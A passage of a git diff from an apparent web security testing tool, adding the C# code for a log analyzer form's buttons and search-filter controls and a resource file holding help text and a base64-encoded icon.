DataGridViewRowsRemovedEventArgs e) + { + if (LogGrid.Rows.Count == 0) + { + SelectedRowsCount = 0; + DoDiffBtn.Enabled = false; + StartScanBtn.Enabled = false; + StartTestBtn.Enabled = false; + RunModulesBtn.Enabled = false; + } + } + + private void LogAnalyzer_FormClosing(object sender, FormClosingEventArgs e) + { + StopSearch(); + } + + private void DoDiffBtn_Click(object sender, EventArgs e) + { + if (SelectedRowsCount == 2) + { + int ALogId = -1; + int BLogId = -1; + foreach (DataGridViewRow Row in LogGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (ALogId == -1) + { + ALogId = (int)Row.Cells[1].Value; + } + else if (BLogId == -1) + { + BLogId = (int)Row.Cells[1].Value; + break; + } + } + } + SessionsDiffer Sdiff = new SessionsDiffer(); + Sdiff.SetSessions(this.CurrentSearchSource, ALogId, BLogId); + Sdiff.Show(); + } + else + { + MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); + } + } + + private void StartScanBtn_Click(object sender, EventArgs e) + { + if (IsScanWindowOpen()) + { + SSW.Activate(); + } + else + { + + List IDs = new List(); + foreach (DataGridViewRow Row in LogGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + IDs.Add((int)Row.Cells[1].Value); + } + SSW = new ScanSelectedWizard(); + SSW.SetSourceAndLogs(this.CurrentSearchSource, IDs); + SSW.Show(); + } + } + + bool IsScanWindowOpen() + { + if (SSW == null) + { + return false; + } + else if (SSW.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void MatchKeywordCB_CheckedChanged(object sender, EventArgs e) + { + MatchKeywordInAllSectionsCB.Enabled = MatchKeywordCB.Checked; + MatchKeywordInRequestHeadersSectionCB.Enabled = MatchKeywordCB.Checked; + MatchKeywordInRequestBodySectionCB.Enabled = MatchKeywordCB.Checked; + MatchKeywordInResponseHeadersSectionCB.Enabled = MatchKeywordCB.Checked; + MatchKeywordInResponseBodySectionCB.Enabled = MatchKeywordCB.Checked; + MatchKeywordTB.Enabled = MatchKeywordCB.Checked; + } + + private void MatchRequestUrlCB_CheckedChanged(object sender, EventArgs e) + { + MatchRequestUrlTypeCombo.Enabled = MatchRequestUrlCB.Checked; + MatchRequestUrlKeywordTB.Enabled = MatchRequestUrlCB.Checked; + } + + private void MatchRequestMethodsCB_CheckedChanged(object sender, EventArgs e) + { + MatchRequestMethodsPlusRB.Enabled = MatchRequestMethodsCB.Checked; + MatchRequestMethodsMinusRB.Enabled = MatchRequestMethodsCB.Checked; + MatchRequestMethodsTB.Enabled = MatchRequestMethodsCB.Checked; + } + + private void MatchResponseCodesCB_CheckedChanged(object sender, EventArgs e) + { + MatchResponseCodesPlusRB.Enabled = MatchResponseCodesCB.Checked; + MatchResponseCodesMinusRB.Enabled = MatchResponseCodesCB.Checked; + MatchResponseCodesTB.Enabled = MatchResponseCodesCB.Checked; + } + + private void MatchHostNamesCB_CheckedChanged(object sender, EventArgs e) + { + MatchHostNamesPlusRB.Enabled = MatchHostNamesCB.Checked; + MatchHostNamesMinusRB.Enabled = MatchHostNamesCB.Checked; + MatchHostNamesTB.Enabled = MatchHostNamesCB.Checked; + } + + private void MatchFileExtensionsCB_CheckedChanged(object sender, EventArgs e) + { + MatchFileExtensionsPlusRB.Enabled = MatchFileExtensionsCB.Checked; + MatchFileExtensionsMinusRB.Enabled = MatchFileExtensionsCB.Checked; + MatchFileExtensionsTB.Enabled = MatchFileExtensionsCB.Checked; + } + + private void RunModulesBtn_Click(object sender, EventArgs e) + { + MessageBox.Show("Modules that support this feature are currently not available."); + } + } +} diff --git a/Iron/LogAnalyzerAndTester.resx b/Iron/LogAnalyzerAndTester.resx new file mode 100644 index 0000000..6c683ed --- /dev/null +++ b/Iron/LogAnalyzerAndTester.resx @@ -0,0 +1,1965 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + You can search the logs by creating a filter. The search results will be displayed in the next tab. + +To perform a search: +Step 1: Select the log that you want to search +Step 2: Select atleast one search filter option by click on any of the checkboxes in the boxed sections belows +Step 3: Press the 'Search with this Filter' button. + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/dgWpNCktLS+JLS0tnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 